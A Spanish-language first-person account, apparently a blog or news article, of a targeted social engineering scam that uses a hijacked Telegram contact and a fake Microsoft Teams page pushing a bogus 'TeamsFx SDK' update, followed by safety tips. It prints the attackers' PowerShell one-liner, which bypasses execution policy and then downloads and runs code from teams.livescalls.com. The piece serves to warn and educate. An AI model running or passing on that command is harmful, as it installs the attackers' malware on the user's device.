Casi me hackearon en una llamada de Microsoft Teams: así funciona el fraude

Déjame contarte cómo estuve a punto de convertirme en víctima de un elaborado esquema de ingeniería social diseñado para explotar algo tan rutinario y aparentemente inofensivo como una llamada de Microsoft Teams hoy temprano. 

Durante la mayor parte de la interacción, nada pareció fuera de lo común. 

Alguien que creía que era un contacto de la industria se puso en contacto conmigo para organizar una reunión en Microsoft Teams, y mi yo colaborador estaba más que feliz de unirme a la llamada. 

Spoiler: la persona al otro lado era un impostor, e intentaron que ejecutara código malicioso en mi computadora. 

Estoy relatando toda la experiencia aquí como una advertencia para amigos, conocidos y contemporáneos en la comunidad de criptomonedas y Web3. 

Casi fue conmigo hoy; podría ser alguien más mañana. 

Paso 1: La Configuración — “Llamada para Reunirnos, Viejo Amigo” 

Cuando recibes un mensaje de texto de la cuenta de Telegram de alguien que conoces como un alto empleado de una agencia de relaciones públicas de criptomonedas bien conocida, lo último en lo que piensas es que estás siendo atraído a una configuración de phishing. 

Ninguna de las señales de alerta típicas era inmediatamente aparente tampoco. 

Esto no era un DM aleatorio. 

No estaba hablando con una cuenta de impostor donde la “i” está sutilmente reemplazada por una “l.” 

De hecho, también tenía un historial de chat con la cuenta, así que pensé que tenía a la persona real al otro lado. 

Nada pareció fuera de lugar desde que comenzaron una conversación completamente amistosa para reconectar. Antes de que pasara mucho tiempo, un enlace de Calendly para reservar una reunión de 30 minutos y una invitación a una llamada de Microsoft Teams.

Como dije antes, mi radar nunca se activó una sola vez durante la interacción. Sentí el mismo nivel de profesionalismo y paciencia que uno esperaría de un miembro de personal de alto rango de una agencia de relaciones públicas de primer nivel. 

Todo lo que sabía era que había programado una reunión de Teams desde la página de Calendly de un contacto de la industria.

El estafador inicia el contacto usando una cuenta hackeada, enviando un enlace de reunión de Teams.

Paso 2: La Trampa de “Unirse solo en Escritorio” 

Llegó el día de la reunión, y hice clic en el enlace de la reunión de Teams en mi teléfono como he hecho al menos mil veces en el pasado. Sin embargo, no entré directamente a la reunión como de costumbre. En lugar de ser redirigido a la llamada, se cargó una pantalla que afirmaba “El acceso a esta reunión a través de dispositivos móviles no está permitido debido a la configuración del organizador.” 

“¡Oh no! Esto nunca me había pasado antes.” 

Bueno, tampoco fue un accidente. 

A posteriori, esa fue probablemente la primera señal de alerta real. 

La pantalla de error es parte del diseño. Los estafadores necesitan que estés en un escritorio o portátil porque su carga maliciosa es un script de línea de comandos que solo se ejecuta en PC.

La URL en el navegador “teams.livescalls.com” NO es el dominio real de Microsoft.

Las reuniones legítimas de Teams usan teams.microsoft.com o teams.live.com.

El dominio “livescalls.com” parece lo suficientemente cercano a la cosa real desde lejos, pero, Dios, está lejos de ser la cosa real si lo miras lo suficientemente de cerca. 

Uno es el sitio controlado por Microsoft que afirma tener más de 320 millones de usuarios activos diarios. El otro es un sitio completamente falso controlado por los atacantes. 

Para ser justos, algunas organizaciones pueden usar dominios personalizados para sus reuniones de equipo. Sin embargo, la pérdida de más de 1 billón de dólares en fondos a manos de estafadores en 2025, según el Foro Económico Mundial, fue suficiente razón para no ignorar mis instintos de alerta. 

La página falsa de "Aviso de acceso al equipo" bloquea el acceso móvil, obligando a las víctimas a usar un escritorio donde el script malicioso puede ejecutarse. Tenga en cuenta la URL: teams.livescalls.com, que no es un dominio de Microsoft.

El estafador presiona a la víctima para que se una desde el escritorio después del bloqueo móvil, alegando que "los socios están esperando".

Paso 3: La carga útil: "Actualice su SDK de TeamsFx"

Una vez en el escritorio, la falsa reunión de Teams mostró una página con un diseño profesional que parece algo que verías en la documentación oficial de Microsoft. Incluso incluía el lenguaje real de Microsoft sobre la descontinuación del SDK de TeamsFx para septiembre de 2025. 

¿La solución? Copiar un bloque de código y ejecutarlo en tu terminal o Símbolo del sistema.

Si diste el paso adicional de buscar en Google, encontrarás que existe un SDK similar. Simplemente no lo necesitas para esta llamada de equipo. 

El código parece inofensivo al principio: establece variables de entorno con nombres que suenan oficiales como TeamsFx_API_KEY y MS_Teams_API_SECRET. Pero el verdadero vector de ataque está escondido en medio, y estos atacantes no cuentan con que detectes el problema:

powershell -ep bypass -c "(iwr -Uri https://teams.livescalls.com/developer/sdk/update/version/085697307 -UserAgent 'teamsdk' -UseBasicParsing).Content | iex"

Esta única línea omite las políticas de seguridad de PowerShell (-ep bypass), descarga código desde el servidor del atacante y lo ejecuta inmediatamente (iex = Invoke-Expression). 

Y así, sin más, cualquier malware, registrador de teclas o herramienta de acceso remoto que los atacantes hayan alojado se instala silenciosamente en tu dispositivo.

La interfaz falsa de la reunión de Teams que muestra la página maliciosa de "actualización del SDK de TeamsFx" presentada a los participantes. Tenga en cuenta a los participantes en la llamada: videos generados por IA.

Paso 4: La etapa de presión: "No te preocupes, es seguro"

Cuando expresé dudas sobre ejecutar el script, el impostor entregó inmediatamente una combinación de tranquilidad y presión. 

La línea "No te preocupes, es muy simple y seguro para ti" estaba destinada a tranquilizarme para que siguiera las instrucciones en la captura de pantalla que me mostraba cómo abrir el Símbolo del sistema en mi PC. 

"Los socios ya se han unido en Zoom" estaba destinado a hacerme sentir la presión de no tener que hacer que todos cambien de plataforma porque no podía averiguar cómo ejecutar un simple Símbolo del sistema.

No me tranquilicé. Tampoco me presionaron.

Cuando sugerí trasladar la llamada a Google Meet, se negaron. Al parecer, su estafa solo funciona a través de su configuración falsa de Teams.

El estafador envía instrucciones paso a paso para ejecutar el código malicioso, tranquilizando a la víctima: "No te preocupes, es muy simple y seguro para ti".

Paso 5: La farsa descubierta: Bloqueado y eliminado

Confirmé mis sospechas después de revisar el script y el dominio: me estaban manipulando socialmente y estaba a pocos pasos de convertirme en parte de las estadísticas de 2026 del Foro Económico Mundial. 

Le dije directamente al estafador: "Acabo de comprobarlo y este comando y el sitio web no son legítimos. Lamentablemente, no podré hacerlo". Ofrecí continuar la conversación en Google Meet si aún querían charlar.

"Pero la reunión ya está en curso", fue el mensaje del otro lado. 

Como era de esperar, su respuesta estaba destinada a hacerme darme cuenta de la urgencia de unirme a la llamada. Después de todo, no querría hacer esperar a todos esos socios durante demasiado tiempo.

Unos momentos después, eliminaron toda nuestra correspondencia y me bloquearon. 

Ah… Eso no es solo una bandera roja. Hablemos de tonos carmesí. 

Los contactos comerciales no eliminan todo su historial de conversaciones y te bloquean en el momento en que cuestionas una actualización de software.

Después de que se descubre la estafa, el atacante insiste en que la reunión está "en curso" antes de eliminar todos los mensajes y bloquear a la víctima.

Cómo protegerte

Este tipo de ataque está aumentando en las industrias de criptomonedas, Web3 y tecnología. Los estafadores están comprometiendo o suplantando la identidad de cuentas reales pertenecientes a profesionales de relaciones públicas, inversores y líderes de proyectos para dirigirse a individuos de alto valor. Así es cómo mantenerse seguro:

• Nunca ejecutes comandos desde una página de reunión. Ninguna plataforma de videollamada legítima te pedirá nunca que pegues código en tu terminal o Símbolo del sistema.
• Verifica la URL. Las reuniones reales de Microsoft Teams viven en teams.microsoft.com o teams.live.com, no en “teams.livescalls.com” ni en ningún otro dominio similar.
• Desconfía de los requisitos de “solo escritorio”. Si una reunión bloquea el acceso móvil, esa es una táctica deliberada para ponerte en una máquina donde se pueden ejecutar scripts.
• Verifica a la persona a través de un canal separado. Si un contacto conocido te envía un enlace de reunión inusual, llámalo directamente o envíale un mensaje en una plataforma diferente para confirmar.
• Busca “powershell -ep bypass” e “iex”. Estas son las dos mayores señales de alerta en cualquier script. La primera desactiva la seguridad, la segunda ejecuta código descargado a ciegas.
• Si ya ejecutaste el script: Desconéctate de internet inmediatamente. Ejecuta un análisis completo de malware (Malwarebytes, Windows Defender Offline). Cambia todas las contraseñas desde un dispositivo diferente y limpio. Monitorea las billeteras de criptomonedas y cuentas bancarias en busca de transacciones no autorizadas.

Por qué esto importa para Crypto y Web3

No llamaría a esto una interacción de phishing típica, donde los atacantes lanzan redes amplias y ven qué atrapan. 

No, esta fue una operación de ingeniería social dirigida y de varios días. Los atacantes se hicieron pasar por contemporáneos de la industria durante días, construyendo confianza y preparándose para guiarte casualmente a solucionar un problema técnico en una llamada de Teams a través de una convincente página falsa de Microsoft. 

Ya sea que roben tus credenciales, vacíen tu billetera de criptomonedas o instalen malware de acceso remoto persistente, los atacantes tienen mucho que ganar y nada que perder. 

Si eres fundador, inversor o alguien que asiste a reuniones en el espacio de criptomonedas y tecnología, comparte este artículo con tu equipo. Las personas que ejecutan estas estafas están mejorando, y la única defensa es la conciencia.